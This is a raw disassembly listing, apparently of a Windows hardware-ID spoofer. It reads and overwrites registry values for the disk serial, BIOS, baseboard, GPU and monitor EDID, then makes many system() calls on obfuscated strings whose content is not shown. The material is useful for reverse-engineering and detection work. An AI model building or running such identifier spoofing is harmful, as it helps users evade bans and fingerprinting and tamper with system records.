mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f470
mov qword [rbp + 0x108], r15
lea rax, [rbp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x274], 0x104
lea rax, [rbp + 0x274]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1e50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053850
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x110], r15
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x278], 0x104
lea rax, [rbp + 0x278]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1f60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053910
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x118], r15
lea rax, [rbp + 0x118]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x27c], 0x104
lea rax, [rbp + 0x27c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2070]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400539d0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x120], r15
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x280], 0x104
lea rax, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2180]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053a90
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x150], r15
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x284], 0x104
lea rax, [rbp + 0x284]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2290]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053b50
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x128], r15
lea rax, [rbp + 0x128]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x288], 0x104
lea rax, [rbp + 0x288]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x23a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053c10
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x130], r15
lea rax, [rbp + 0x130]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x28c], 0x104
lea rax, [rbp + 0x28c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x24b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053cd0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x138], r15
lea rax, [rbp + 0x138]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x290], 0x104
lea rax, [rbp + 0x290]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x25c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemBiosVersion
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053d90
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 7
xor r8d, r8d
lea rdx, str.SystemBiosVersion
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x140], r15
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x294], 0x104
lea rax, [rbp + 0x294]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x26d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053e50
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x188], r15
lea rax, [rbp + 0x188]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x298], 0x104
lea rax, [rbp + 0x298]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x27e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053f10
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x1d0], r15
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x29c], 0x104
lea rax, [rbp + 0x29c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x28f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053fd0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x1d8], r15
lea rax, [rbp + 0x1d8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2a0], 0x104
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2a00]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054090
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x1e0], r15
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001ControlVideo23544D12_3A6E_11EC_B400_00D86154E47EVideo
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2a4], 0x104
lea rax, [rbp + 0x2a4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2b10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceDesc
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054150
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.DeviceDesc
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinSAT
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2a8], 0x104
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2c20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.PrimaryAdapterString
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054210
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.PrimaryAdapterString
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x1f0], r15
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001Services_amdwddmgEnum
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2ac], 0x104
lea rax, [rbp + 0x2ac]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2d30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14012045c]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400542d0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14012045c]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x1f8], r15
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftDirectX23544D12_3A6E_11EC_B400_00D86154E47E
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2b0], 0x104
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2e40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054390
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x148], r15
lea rax, [rbp + 0x148]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftDirectX23544D12_3A6E_11EC_B400_00D86154E47E
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2b4], 0x104
lea rax, [rbp + 0x2b4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2f50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054450
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x208], r15
lea rax, [rbp + 0x208]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001EnumDISPLAYPHLC0B151d3057b80UID266Device_Parameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2b8], 0x104
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3060]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.EDID
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054510
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.EDID
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [rsp + 0x31], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x31]
call fcn.1400585a0
mov rcx, rax
call fcn.14004e230
mov rdi, rax
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.140058640
mov rcx, rax
call fcn.14004e230
mov r14, rax
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rsi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x210], r15
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x2bc], 0x104
lea rax, [rbp + 0x2bc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3170]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rsi + rax], r15b
jne 0x140054604
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0x210]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058660
mov rcx, rax
call fcn.14004e230
mov rdi, rax
mov byte [rsp + 0x31], r15b
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x31]
call fcn.140058640
mov rcx, rax
call fcn.14004e230
mov r14, rax
lea rcx, [rsp + 0x38]
call fcn.140052370
mov rcx, rax
call fcn.14004f0f0
mov rsi, rax
lea rcx, [rsp + 0x38]
call fcn.14004f1a0
mov qword [rbp + 0x218], r15
lea rax, [rbp + 0x218]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x260], 0x104
lea rax, [rbp + 0x260]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3280]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
inc rbx
cmp byte [rsi + rbx], r15b
jne 0x1400546f1
inc ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058700
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058780
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058800
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400588a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058950
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400589e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058c40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058da0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058e90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140058f80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400590a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059160
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400592f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400593a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059480
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400595b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400596d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059840
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059950
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140059a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
